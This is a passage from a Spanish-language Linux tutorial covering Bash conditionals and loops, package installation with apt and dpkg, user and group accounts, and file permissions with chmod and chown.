</code></pre><p>Hemos suplido <code>Zaira</code> como nuestro argumento al script.</p><p><strong>Salida:</strong></p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2023/03/name-sh-1.gif" class="kg-image" alt="Providing arguments to the bash script" width="600" height="400" loading="lazy"></figure><h4 id="mostrando-la-salida-">Mostrando la salida:</h4><p>Aquí discutiremos algunos métodos para recibir salidas de los scripts.</p><ol><li>Imprimiendo a la terminal:</li></ol><pre><code class="language-bash">echo "Hello, World!"
</code></pre><p>Esto imprime el texto "Hello, World!" a la terminal.</p><p>2. &nbsp; Escribiendo a un archivo:</p><pre><code class="language-bash">echo "This is some text." &gt; output.txt
</code></pre><p>Esto escribe el teto "This is some text." a un archivo llamado <code>output.txt</code>. Fíjate que el operador <code>&gt;</code> sobreescribe un archivo si éste ya tenía algo de contenido.</p><p>3. &nbsp; Adjuntando a un file:</p><pre><code class="language-bash">echo "More text." &gt;&gt; output.txt
</code></pre><p>Esto adjunta el texto "More text." al final del archivo <code>output.txt</code>.</p><p>4. &nbsp; Redireccionando la salida:</p><pre><code class="language-bash">ls &gt; files.txt
</code></pre><p>Esto lista los archivos en la carpeta actual y escribela salida a un archivo llamado <code>files.txt</code>. Puede redireccionar la salida de cualquier comando a un archivo de esta forma.</p><p>Aprenderás sobre redirección de salida en detalle en la sección 8.5.</p><h4 id="declaraciones-condicionales-if-else-">Declaraciones condicionales (if/else)</h4><p>Las expresiones que producen un resultado booleano, sea verdadero o falso, son llamados condiciones. Hay varias formas de evaluar condiciones, incluyendo <code>if</code>, <code>if-else</code>, <code>if-elif-else</code>, y condicionales anidadas.</p><p><strong>Sintaxis</strong>:</p><pre><code class="language-bash">if [[ condition ]];
then
    statement
elif [[ condition ]]; then
    statement 
else
    do this by default
fi
</code></pre><h4 id="sintaxis-de-las-declaraciones-condicionales-de-bash">Sintaxis de las declaraciones condicionales de bash</h4><p>Podemos usar operadores lógicos tales como AND <code>-a</code> y OR <code>-o</code> para hacer comparaciones que tienen más significado.</p><pre><code class="language-bash">if [ $a -gt 60 -a $b -lt 100 ]
</code></pre><p>Esta declaración verifica si ambas condiciones son <code>true</code>: <code>a</code> es más grande que <code>60</code> Y <code>b</code> es menor que <code>100</code>.</p><p>Veamos un ejemplo de un script de Bash que usa declaraciones <code>if</code>, <code>if-else</code>, y <code>if-elif-else</code> para determinar si un número ingresado por el usuario es positivo, negativo, o cero:</p><pre><code class="language-bash">#!/bin/bash

# Script to determine if a number is positive, negative, or zero

echo "Please enter a number: "
read num

if [ $num -gt 0 ]; then
  echo "$num is positive"
elif [ $num -lt 0 ]; then
  echo "$num is negative"
else
  echo "$num is zero"
fi
</code></pre><p>El script primero muestra un mensaje al usuario para que ingrese un número. Luego, usa una declaración <code>if</code> para verificar si el número es más grande que <code>0</code>. Si lo es, el script muestra que el número es positivo. Si el número no es más grande que <code>0</code>, el script se mueve a la siguiente declaración, el cual es una declaración <code>if-elif</code>.</p><p>Aquí, el script verifica si el número es menor que <code>0</code>. Si lo es, el script muestra que el número es negativo.</p><p>Finalmente, si el número no es más grande que <code>0</code> ni menor que <code>0</code>, el script usa una declaración <code>else</code> para mostrar que el número es cero.</p><p>Viéndolo en acción 🚀</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2023/03/test-odd.gif" class="kg-image" alt="Checking if a number is even or odd" width="600" height="400" loading="lazy"></figure><h4 id="bucles-y-ramificaci-n-en-bash">Bucles y ramificación en Bash</h4><p><strong>Bucle while</strong></p><p>Los bucles while verifica una condición y un bucle hasta que la condición permanece <code>true</code>. Necesitamos proveer una declaración counter que incrementa el contador para controlar la ejecución del bucle.</p><p>En el ejemplo abajo, <code>(( i += 1 ))</code> es la declaración del counter que incrementa el valor de <code>i</code>. El bucle ejecutará exactamente 10 veces.</p><pre><code class="language-bash">#!/bin/bash
i=1
while [[ $i -le 10 ]] ; do
   echo "$i"
  (( i += 1 ))
done
</code></pre><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2023/03/image-187.png" class="kg-image" alt="Looping from 1 to 10 using " width="600" height="400" loading="lazy"></figure><p><strong>Bucle For</strong></p><p>El bucle <code>for</code>, así como el bucle <code>while</code>, te permite ejecutar declaraciones en un número específico de veces. Cada bucle difiere en su sintaxis y uso.</p><p>En el ejemplo de abajo, el bucle iterará 5 veces.</p><pre><code class="language-bash">#!/bin/bash

for i in {1..5}
do
    echo $i
done
</code></pre><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2023/03/image-186.png" class="kg-image" alt="Looping from 1 to 10 using " width="600" height="400" loading="lazy"></figure><p><strong>Declaraciones Case</strong></p><p>En Bash, las declaraciones case son usados para comparar un número dado contra una lista de patrones y ejecutar un bloque de código basado en el primer patrón que coincida. La sintaxis para una declaración case en Bash es como sigue:</p><pre><code class="language-bash">case expression in
    pattern1)
        # código para ejecutar si la expresión coincide con el patrón1
        ;;
    pattern2)
        # código para ejecutar si la expresión coincide con el patrón2
        ;;
    pattern3)
        # código para ejecutar si la expresión coincide con el patrón3
        ;;
    *)
        # código para ejecutar si ninguno de los patrones de arriba coinciden con la expresión
        ;;
esac
</code></pre><p>Aquí, "expression" es el valor que queremos comparar, y "pattern1", "pattern2", "pattern3", y así sucesivamente son los patrones con las que queremos comparar.</p><p>El doble punto y coma ";;" separa cada bloque de código para ejecutar cada patrón. El asterisco "*" representa el case por defecto, el cual se ejecuta si ninguno de los patrones especificados coinciden con la expresión.</p><p>Veamos un ejemplo:</p><pre><code class="language-bash">fruit="apple"

case $fruit in
    "apple")
        echo "This is a red fruit."
        ;;
    "banana")
        echo "This is a yellow fruit."
        ;;
    "orange")
        echo "This is an orange fruit."
        ;;
    *)
        echo "Unknown fruit."
        ;;
esac
</code></pre><p>En este ejemplo, ya que el valor de <code>fruit</code> es <code>apple</code>, el primer patrón ocincide, y el bloque de código que imprime <code>This is a red fruit.</code> se ejecuta. Si el valor de <code>fruit</code> era <code>banana</code>, el segundo patrón coincidiría y el bloque de código que imprime <code>This is a yellow fruit.</code> se ejecutaría, etcétera.</p><p>Si el valor de <code>fruit</code> no coincide con ninguno de los patrones especificados, el caso predeterminado se ejecuta, el cual imprime <code>Unknown fruit.</code>.</p><!--kg-card-begin: html--><h2 id="parte-7-manejo-paquetes-software-linux">Parte 7: Manejo de Paquetes de Software en Linux</h2><!--kg-card-end: html--><p>Linux viene con varios programas incorporados. Pero podrías necesitar instalar nuevos programas basado en tus necesidades. También podrías necesitar actualizar las aplicaciones existentes.</p><!--kg-card-begin: html--><h3 id="paquetes-y-gestion-paquetes">7.1. Paquetes y Gestión de Paquetes</h3><!--kg-card-end: html--><h4 id="-qu-es-un-paquete">¿Qué es un paquete?</h4><p>Un paquete es una colección de archivos que se empaquetan juntos. Estos archivos son esenciales para que un programa en particular se ejecute. Estos archivos contienen los archivos ejecutables del programa, librerías, y otros recursos.</p><p>Además de estos archivos requeridos para el programa para que se ejecute, los paquetes también contienen scripts de instalación, los cuales copian los archivo a donde se les necesita. Un programa podría contener muchos archivos y dependencias. Con los paquetes, es más fácil de manejar todos los archivos y dependencias de una sola vez.</p><h4 id="-cu-l-es-la-diferencia-entre-fuente-y-binario">¿Cuál es la diferencia entre fuente y binario?</h4><p>Los programadores escriben código fuente en un lenguaje de programación. Este código fuente luego se compila en código máquina el cual la computadora puede entender. El código compilado se llama código binario.</p><p>Cuando descargas un paquete, puedes obtener el <em>código fuente</em> o el <em>código binario</em>. El código fuente es el código legible para los humanos que puede ser compilado en código binario. El código binario es el código compilado que la computadora puede entender.</p><p>Los paquetes fuentes pueden ser usados con cualquier tipo de máquina si el código fuente se compila apropiadamente. El binario, por otro lado, es código compilado que es específico a un tipo particular de máquina o arquitectura.</p><p>Puedes encontrar la arquitectura de tu máquina usando el comando <code>uname -m</code>.</p><pre><code class="language-bash">uname -m
# output
x86_64
</code></pre><h4 id="dependencias-de-un-paquete">Dependencias de un paquete</h4><p>Los programas frecuentemente comparten archivos. En vez de incluir estos archivos en cada paquete, un paquete separado puede proveerlos para todos los programas.</p><p>Para instalar un programa que necesita estos archivo, también debes instalar el paquete que los contiene. Esto se llama una dependencia de paquete. Especificando las dependencias hacen a los paquetes más pequeños y más sencillo al reducir los duplicados.</p><p>Cuando instalas un programa, sus dependencias también deben ser instalados. Las dependencias más requeridas usualmente ya están instaladas, pero unos pares extas podrían ser necesarios. Así que, no te sorprendas si varios paquetes son instalados juntamente con tu paquete deseado. Estos son dependencias necesarias.</p><h4 id="gestores-de-paquetes">Gestores de Paquetes</h4><p>Linux ofrece un sistema comprensivo de gestión de paquetes para instalar, actualizar, configurar, y quitar software.</p><p>Con un gestor de paquetes, puedes obtener acceso a una base organizada de miles de paquetes de software juntamente teniendo la habilidad de resolver dependencias y verificar actualizaciones de software.</p><p>Los paquetes pueden ser manejados usando utilidades de línea de comando que pueden ser fácilmente automatizados por los administradores de sistema, o a través de una interfaz gráfica.</p><h4 id="canales-repositorios-de-software">Canales/Repositorios de Software</h4><p>⚠️ La gestión de paquetes es distinto para diferentes distros. Aquí, estamos usando Ubuntu.</p><p>Instalando software es un poco distinto en Linux comparado a Windows y Mac.</p><p>Linux usa repositorios para almacenar paquetes de software. Un repositorio es una colección de paquetes de software que están disponibles para instalación a través de un gestor de paquetes.</p><p>Un gestor de paquetes también almacena un índice de todos los paquetes disponibles de un repo. A veces el índice se reconstruye para asegurarse que está al día y para saber qué paquetes han sido actualizados o agregados al canal desde la última vez que fue verificado.</p><p>El proceso genérico de descargar software de un repo se parece algo así:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719313472889/f4961606-b9c4-4ed7-8edc-61e0fc6908e4.png" class="kg-image" alt="Rrocess of downloading software from a remote repo" width="1080" height="1080" loading="lazy"></figure><p>Si hablamos específicamente sobre Ubuntu,</p><ol><li>El índice se busca usando <code>apt update.</code> (<code>apt</code> se explica en la próxima sección).</li><li>Los archivos/dependencias requeridas se solicitan según el índice usando <code>apt install</code></li><li>Los paquetes y las dependencias se instalan de manera local.</li><li>Actualiza las dependencias y los paquetes cuando se requiere usando <code>apt update</code> y <code>apt upgrade</code></li></ol><p>En distros basados en Debian, puedes encontrar la lista de repos (repositorios) en &nbsp;<code>/etc/apt/sources.list</code>.</p><!--kg-card-begin: html--><h3 id="instalando-paquete-a-traves-cli">7.2. Instalando un paquete a través de la Línea de Comandos</h3><!--kg-card-end: html--><p>El comando <code>apt</code> es una herramienta de línea de comando poderosa, la cual es parte de Ubuntu y significa "Herramienta de Empaquetamiento Avanzado" ("Advanced Packaging Toll - APT").</p><p><code>apt</code>, junto con los comandos que se empaquetan, provee los medios para instalar nuevos paquetes de software, actualizar paquetes de software existentes, actualizar el índice de lista de paquetes, e inclusive actualizar el sistema de Ubuntu completo.</p><p>Para ver los archivos log de la instalación usando <code>apt</code>, puedes ver el archivo <code>/var/log/dpkg.log</code>.</p><p>Lo siguiente son los usos del comando <code>apt</code>:</p><h4 id="instalando-paquetes">Instalando paquetes</h4><p>Por ejemplo, para instalar el paquete <code>htop</code>, puedes usar el siguiente comando:</p><pre><code class="language-bash">sudo apt install htop
</code></pre><h4 id="actualizando-el-ndice-de-la-lista-de-paquetes">Actualizando el índice de la lista de paquetes</h4><p>El índice de lista de paquetes es una lista de todos los paquetes disponibles en los repositorios. Para actualizar el índice de la lista de paquetes local, puedes usar el siguiente comando:</p><pre><code class="language-bash">sudo apt update
</code></pre><h4 id="actualizando-los-paquetes">Actualizando los paquetes</h4><p>Los paquetes instalados en tu sistema puede obtener actualizaciones que contienen correcciones de errores, parches de seguridad, y nuevas características.</p><p>Para actualizar los paquetes, puedes usar el siguiente comando:</p><pre><code class="language-bash">sudo apt upgrade
</code></pre><h4 id="quitando-los-paquetes">Quitando los paquetes</h4><p>Para quitar un paquete, como <code>htop</code>, puedes usar el siguiente comando:</p><pre><code class="language-bash">sudo apt remove htop
</code></pre><!--kg-card-begin: html--><h3 id="instalando-paquete-a-traves-gui-synaptic">7.3. Instalando un paquete a través de un Método Gráfico Avanzado – Synaptic</h3><!--kg-card-end: html--><p>Si no estás cómodo con la línea de comando, puedes usar una aplicación GUI para instalar paquetes. Puedes alcanzar los mismos resultado como con la línea de comandos, pero con una interfaz gráfica.</p><p>Synaptic es una aplicación GUI de gestión de paquetes que ayuda en lista los paquetes instalados, su estado, actualizaciones pendientes, y así sucesivamente. Ofrece filtros personalizables para ayudarte en reducir los resultados de búsqueda.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719313599636/0f362ed7-c371-4a58-96c2-c359178cdbd9.png" class="kg-image" alt="0f362ed7-c371-4a58-96c2-c359178cdbd9" width="1356" height="868" loading="lazy"></figure><p>También puedes hacer clic derecho en un paquete y ver más detalles como las dependencias, el mantenedor, y los archivos instalados.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719313607397/33b7ad76-2492-4805-8133-35c8cd3c4a0a.png" class="kg-image" alt="View a package's detail" width="560" height="634" loading="lazy"></figure><!--kg-card-begin: html--><h3 id="instalando-paquetes-descargados">7.4. Instalando paquetes descargados de un sitio web</h3><!--kg-card-end: html--><p>Podrías querer instalar un paquete que has descargado de un sitio web, en vez de un repositorio de software. Estos paquetes se llaman archivos <code>.deb</code>.</p><p><strong>Usando <code>dpkg</code> para instalar paquetes</strong>: &nbsp;<code>dpkg</code> es una herramienta de línea de comando que se usa para instalar paquetes. Para instalar un paquete con <strong>dpkg</strong>, abre la Terminal y escribe lo siguiente:</p><pre><code class="language-bash">cd directory
sudo dpkg -i package_name.deb
</code></pre><p>Nota: Reemplazar "directory" con la carptea donde el paquete se almacena y "package_name" con el nombre del archivo del paquete.</p><p>De forma alternativa, puedes hacer clic derecho, selecciona "Open With Other Application", y elige una app GUI de tu gusto.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719322161581/f16d83ac-ca9a-4502-a80c-e6a25dee5c68.png" class="kg-image" alt="Installing a software using an app" width="534" height="505" loading="lazy"></figure><p>💡 <strong>Consejo:</strong> En Ubuntu, puedes ver una lista de paquetes instalados con <code>dpkg --list</code>.</p><!--kg-card-begin: html--><h2 id="parte-8-temas-linux-avanzados">Parte 8: Temas de Linux Avanzados</h2><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="gestion-del-usuario">8.1. Gestión de Usuario</h3><!--kg-card-end: html--><p>Pueden haber múltiples usuario con niveles variantes de acceso en un sistema. En Linux, el usuario root tiene el nivel más alto de acceso y puede realizar cualquier operación en el sistema. Los usuarios regulares tienen acceso limitado y solamente puede realizar operaciones de las que se les ha dado permiso para hacer.</p><h4 id="-qu-es-un-usuario">¿Qué es un usuario?</h4><p>Una cuenta de usuario provee separación entre distintas personas y programas que pueden ejecutar comandos.</p><p>Los humanos identifican a los usuarios por nombre, ya que los nombres son fáciles con los que trabajar. Pero el sistema identifica a los usuarios por un número único llamado el ID de usuario (UID).</p><p>Cuando los usuarios humano inician sesión usando el nombre de usuario provisto, tienen que usar una contraseña para autorizarse a ellos mismos.</p><p>Las cuentas de usuario forman los fundamentos de la seguridad del sistema. La propiedad de archivo también está asociado con las cuentas de usuario y refuerza el control de acceso a los archivos. Cada proceso tiene una cuenta de usuario asociado que provee una capa de control para los administradores.</p><p>Hay tres tipos principales de cuentas de usuario:</p><ol><li><strong>Superusuario</strong>: El superusuario tiene acceso completo al sistema. El nombre del superusuario es <code>root</code>. Tiene un <code>UID</code> de 0.</li><li><strong>Usuario de sistema</strong>: El usuario de sistema tiene cuentas de usuario que se usan para ejecutar servicios de sistema. Estas cuentas se usan para ejecutar servicios de sistema y no están destinados para la interacción humana.</li><li><strong>Usuario regular</strong>: Los usuarios regulares son usuarios humanos que tienen acceso al sistema.</li></ol><p>El comando <code>id</code> muestra el ID de usuario y el ID de grupo del usuario actual.</p><pre><code class="language-bash">id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip)... output truncated
</code></pre><p>Para ver las información básica de otro usuario, pasa el nombre de usuario como argumento al comando <code>id</code>.</p><pre><code class="language-bash">id username
</code></pre><p>Para ver la información relacionado al usuario para los procesos, usa el comando <code>ps</code> con el argumento <code>-u</code>.</p><pre><code class="language-bash">ps -u
# Salida
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1  16968  3920 ?        Ss   18:45   0:00 /sbin/init splash
root         2  0.0  0.0      0     0 ?        S    18:45   0:00 [kthreadd]
</code></pre><p>Por defecto, los sistemas usan el archivo <code>/etc/passwd</code> para almacenar información de usuario.</p><p>Aquí hay una línea del archivo <code>/etc/passwd</code>:</p><pre><code class="language-bash">root:x:0:0:root:/root:/bin/bash
</code></pre><p>El archivo <code>/etc/passwd</code> contiene la siguiente información sobre cada usuario:</p><ol><li>Nombre de usuario: <code>root</code> – El nombre de usuario de la cuenta de usuario.</li><li>Contraseña: <code>x</code> – La contraseña en formato encriptado para la cuenta de usuario que se almacena en el archivo <code>/etc/shadow</code> por razones de seguridad.</li><li>ID de Usuario (UID): <code>0</code> – El identificador numérico único para la cuenta de usuario.</li><li>ID de Grupo (GID): <code>0</code> – El identificador del grupo primario para la cuenta de usuario.</li><li>Información de Usuario: <code>root</code> – El nombre real para la cuenta de usuario.</li><li>Carpeta Home: <code>/root</code> – The home directory for the user account.</li><li>Shell: <code>/bin/bash</code> – El shell predeterminado para la cuenta de usuario. Un usuario de sistema podría usar <code>/sbin/nologin</code> si los inicios de sesión interactivos no están permitidos para ese usuario.</li></ol><h4 id="-qu-es-un-grupo">¿Qué es un grupo?</h4><p>Un grupo es una colección de cuentas de usuario que comparten acceso compartido y recursos. Los grupos tienen nombres de grupo para identificarlos. El sistema identifica a los grupos por un número único llamado el ID del Grupo (GID).</p><p>Por defecto, la información sobre los grupos se almacenan en el archivo <code>/etc/group</code>.</p><p>Aquí hay una entrada del archivo <code>/etc/group</code>:</p><pre><code class="language-bash">adm:x:4:syslog,john
</code></pre><p>Aquí está el desglose de los campos en la entrada dada:</p><ol><li>Nombre de Grupo: <code>adm</code> – El nombre del grupo.</li><li>Contraseña: <code>x</code> – La contraseña para el grupo se almacena en el archivo <code>/etc/gshadow</code> por razones de seguridad. La contraseña es opcional y aparece vacío si no se pone una.</li><li>ID del Grupo (GID): <code>4</code> – El identificador numérico único para el grupo.</li><li>Miembros del Grupo: <code>syslog,john</code> – La lista de nombres de usuario que son miembros del grupo. En este caso, el grupo <code>adm</code> tiene dos miembros: <code>syslog</code> y <code>john</code>.</li></ol><p>En esta entrada específica, el nombre del grupo es <code>adm</code>, el ID del grupo es <code>4</code>, y el grupo tiene dos miembros: <code>syslog</code> y <code>john</code>. El campo contraseña es normalmente puesto a <code>x</code> para indicar que la contraseña del grupo se almacena en el archivo <code>/etc/gshadow</code>.</p><p>Los grupos están divididos en grupos '<em>primario</em>' y '<em>suplementario</em>'.</p><ul><li>Grupo primario: Cada usuario es asignado un grupo primario por defecto. Este grupo usualmente tiene el mismo nombre como el usuario y se crea cuando la cuenta de usuario se crea. Los archivos y las carpetas creadas por el usuario son normalmente propiedad de este grupo primario.</li><li>Grupos Suplementarios: Estos son grupos extras a los que un usuario puede pertenecer además de su grupo primario. Los usuarios pueden ser miembros de múltiples grupos suplementarios. Estos grupos permiten a usuario que tenga permisos para los recursos compartidos entre esos grupos. Ayudan a proveer acceso a recursos compartidos sin afectar los permisos del archivo de sistema y manteniendo la seguridad intacta. Mientras que usuario debe pertenecer a un grupo primario, pertenecer a grupos suplementarios is opcional.</li></ul><h4 id="control-de-acceso-encontrar-y-entender-permisos-de-archivo">Control de acceso: encontrar y entender permisos de archivo</h4><p>La propiedad de archivo puede ser visto usando el comando <code>ls -l</code>. La primera columna en la salida del comando <code>ls -l</code> muestra los permisos del archivo. Otras columnas muestra al propietario del archivo y el grupo al que el archivo pertenece.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-146.png" class="kg-image" alt="Detailed output of ls -l" width="600" height="400" loading="lazy"></figure><p>Echemos un vistazo más cercano en la columna <code>mode</code>:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-147.png" class="kg-image" alt="Permission classes and file types" width="600" height="400" loading="lazy"></figure><p><strong>Mode</strong> define dos cosas:</p><ul><li><strong>Tipo de archivo:</strong> El tipo de archivo define el tipo de archivo. Para archivos regulares que contienen un dato simple está en blanco <code>-</code>. Para otros tipos de archivos especiales el símbolo es distinto. Para una carpeta el cual es un archivo especial, es <code>d</code>. Los archivos especiales son tratados de forma diferente por el SO.</li><li><strong>Clases de Permiso:</strong> El próximo conjunto de caracteres define los permisos para el usuario, el grupo y para otros respectivamente..– <strong>User</strong>: Este es el propietario de un archivo y el propietario del archivo pertenece a esta clase.– <strong>Group</strong>: Los miembros del grupo del archivo pertenecen a esta clase– <strong>Other</strong>: Cualquier usuario que no son parte de las clases del usuario o del grupo pertenecen a esta clase.</li></ul><p>💡<strong>Consejo:</strong> La propiedad de la carpeta se puede ver usando el comando <code>ls -ld</code>.</p><h5 id="c-mo-leer-permisos-simb-licos-o-los-permisos-de-rwx">Cómo leer permisos simbólicos o los permisos de <code>rwx</code></h5><p>La representación de <code>rwx</code> es conocido como la representación Simbólca de los permisos. En el conjunto de permisos,</p><ul><li><code>r</code> significa <strong>read (leer)</strong>. Se indica en el primer caracter de la tríada.</li><li><code>w</code> significa <strong>write (escribir)</strong>. Se indica en el segundo caracter de la tríada.</li><li><code>x</code> significa <strong>execution (ejecución)</strong>. Se indica en el tercer caracter de la tríada.</li></ul><p><strong>Leer:</strong></p><p>Para archivos regulares, los permisos de lectura permiten al archivo que se abra y sea leído solamente. Los usuarios no pueden modificar el archivo.</p><p>De forma similar para las carpetas, los permisos de lectura permiten el listado del contenido de la carpeta sin ninguna modificación en la carpeta.</p><p><strong>Escribir:</strong></p><p>Cuando los archivos tienen permisos, el usuario puede modificar (editar, eliminar) el archivo y guardarlo.</p><p>Para las carpetas, los permisos de escritura permiten a un usuario a modificar su contenido (crear, eliminar, y renombrar los archivos que contiene), y modificar el contenido de los archivos de los que el usuario tiene permiso.</p><p><strong>Ejemplos de permisos en Linux</strong></p><p>Ahora que sabemos cómo leer permisos, veamos algunos ejemplos.</p><p><code>-rwx------</code>: Un archivo que es accesible y ejecutable solamente por su propietario.</p><p><code>-rw-rw-r--</code>: Un archivo que está abierto a modificaciones por su propietario y su grupo pero no por otros.</p><p><code>drwxrwx---</code>: Una carpeta que puede ser modificado por su propietario y su grupo.</p><p><strong>Ejecutar:</strong></p><p>Para los archivos, los permisos de ejecución permiten al usuario ejecutar un script ejecutable. Para las carpetas, el usuario los puede acceder, y acceder a detalles sobre los archivos en la carpeta.</p><h5 id="c-mo-cambiar-los-permisos-de-archivo-y-propiedad-en-linux-usando-chmod-y-chown">Cómo cambiar los permisos de archivo y propiedad en Linux usando <code>chmod</code> y <code>chown</code></h5><p>Ahora que sabemos las bases de propiedad y permisos, veamos cómo podemos modificar los permisos usando el comando <code>chmod</code>.</p><p><strong>Sintaxis de</strong> <code>chmod</code>:</p><pre><code class="language-bash">chmod permissions filename
</code></pre><p>Donde,</p><ul><li><code>permissions</code> puede ser leído, escrito, ejecutado o una combinación de ellos.</li><li><code>filename</code> es el nombre del archivo para los cuales los permisos necesitan para cambiar. Este parámetro también puede ser una lista &nbsp;de archivos para cambiar permisos en masa.</li></ul><p>Podemos cambiar los permisos usando dos modos:</p><ol><li><strong>Modo simbólico</strong>: este método usa símbolos como <code>u</code>, <code>g</code>, <code>o</code> para representar a los usuarios, a los grupos, y a los otros. Los permisos son representados como <code>r, w, x</code> para lectura, escritura, y ejecución, respectivamente. Puedes modificar los permisos usando +, - y =.</li><li><strong>Modo absoluto</strong>: este método representa los permisos como números octales de 3 dígitos que van desde 0-7.</li></ol><p>Ahora, veámoslos en detalle.</p><h5 id="c-mo-cambiar-los-permisos-usando-el-modo-simb-lico">Cómo cambiar los permisos usando el Modo Simbólico</h5><p>La tabla de abajo resume la representación del usuario:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>REPRESENTACION DEL USUARIO</strong></th>
<th><strong>DESCRIPCION</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>u</td>
<td>usuario/propietario</td>
</tr>
<tr>
<td>g</td>
<td>grupo</td>
</tr>
<tr>
<td>o</td>
<td>otro</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>Podemos usar operadores matemáticos para agregar, quitar, y asignar permisos. La tabla de abajo muestra el resumen:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>OPERADOR</strong></th>
<th><strong>DESCRIPCION</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>+</td>
<td>Agrega un permiso a un archivo o carpeta</td>
</tr>
<tr>
<td>–</td>
<td>Quita el permiso</td>
</tr>
<tr>
<td>=</td>
<td>Establece el permiso si no estaba presente antes. También sobreescribe los permisos si se pusieron anteriormente.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p><strong>Ejemplo:</strong></p><p>Supongamos que tengo un script y quiero hacerlo ejecutable para el propietario del archivo <code>zaira</code>.</p><p>Los permisos de archivos actuales son como sigue:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-161.png" class="kg-image" alt="image-161" width="600" height="400" loading="lazy"></figure><p>Dividamos los permisos así:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-160.png" class="kg-image" alt="Splitting file permissions" width="600" height="400" loading="lazy"></figure><p>Para agregar los derechos de ejecución (<code>x</code>) al propietario (<code>u</code>) usando el modo simbólico, podemos usar el comando de abajo:</p><pre><code class="language-bash">chmod u+x mymotd.sh
</code></pre><p><strong>Salida:</strong></p><p>Ahora, podemos ver que los permisos de ejecución han sido agregados al propietario <code>zaira</code>.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-162.png" class="kg-image" alt="Permission updated" width="600" height="400" loading="lazy"></figure><p><strong>Ejemplos adicionales para cambiar los permisos a través del método simbólico:</strong></p><ul><li>Quitar los permisos de <code>read</code> y <code>write</code> para <code>group</code> y <code>others</code>: <code>chmod go-rw</code>.</li><li>Quitar los permisos de <code>read</code> para <code>others</code>: <code>chmod o-r</code>.</li><li>Asignando los permisos de <code>write</code> a <code>group</code> y sobreescribir el permiso existente: <code>chmod g=w</code>.</li></ul><h5 id="c-mo-cambiar-los-permisos-usando-el-modo-absoluto">Cómo cambiar los permisos usando el Modo Absoluto</h5><p>El modo absoluto usa los números para representar los permisos y operadores matemáticos para modificarlos.</p><p>La tabla de abajo muestra cómo podemos asignar permisos relevantes:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>PERMISO</strong></th>
<th><strong>PROVEER PERMISO</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>lectura</td>
<td>add 4</td>
</tr>
<tr>
<td>escritura</td>
<td>add 2</td>
</tr>
<tr>
<td>ejecución</td>
<td>add 1</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>Los permisos pueden ser revocados usando la resta. La tabla de abajo muestra cómo quitar los permisos relevantes.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>PERMISO</strong></th>
<th><strong>QUITAR PERMISO</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>lectura</td>
<td>subtract 4</td>
</tr>
<tr>
<td>escritura</td>
<td>subtract 2</td>
</tr>
<tr>
<td>ejecución</td>
<td>subtract 1</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p><strong>Ejemplo</strong>:</p><ul><li>Poner <code>read</code> (agregar 4) para <code>user</code>, <code>read</code> (agregar 4) y <code>execute</code> (agregar 1) para el grupo, y solamente <code>execute</code> (agregar 1) para los demás.</li></ul><pre><code>chmod 451 file-name
</code></pre><p>Así es como ejecutamos el cálculo:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-163.png" class="kg-image" alt="Calculation breakdown for adding permissions" width="600" height="400" loading="lazy"></figure><p>Fíjate que esto es lo mismo que <code>r--r-x--x</code>.</p><ul><li>Quitar derechos de <code>execution</code> desde <code>other</code> y <code>group</code>.</li></ul><p>Para quitar la ejecución de <code>other</code> y <code>group</code>, resta 1 de la parte de ejecución de los 2 últimos octatos.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-164.png" class="kg-image" alt="Calculation breakdown for removing permissions" width="600" height="400" loading="lazy"></figure><ul><li>Asigna <code>read</code>, <code>write</code> y <code>execute</code> a <code>user</code>, <code>read</code> y <code>execute</code> a <code>group</code> y solamente <code>read</code> a los demás.</li></ul><p>Esto debería ser lo mismo que <code>rwxr-xr--</code>.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/04/image-165.png" class="kg-image" alt="Calculation breakdown for adding permissions" width="600" height="400" loading="lazy"></figure><h5 id="c-mo-cambiar-la-propiedad-usando-el-comando-chown">Cómo cambiar la Propiedad usando el comando <code>chown</code></h5><p>Luego, aprenderemos cómo cambiar la propiedad de un archivo. Puedes cambiar la propiedad de un archivo o carpeta usando el comando <code>chown</code>. En algunos casos, cambiar la propiedad requiere permisos <code>sudo</code>.</p><p>Sintaxis de <code>chown</code>:</p><pre><code class="language-bash">chown user filename
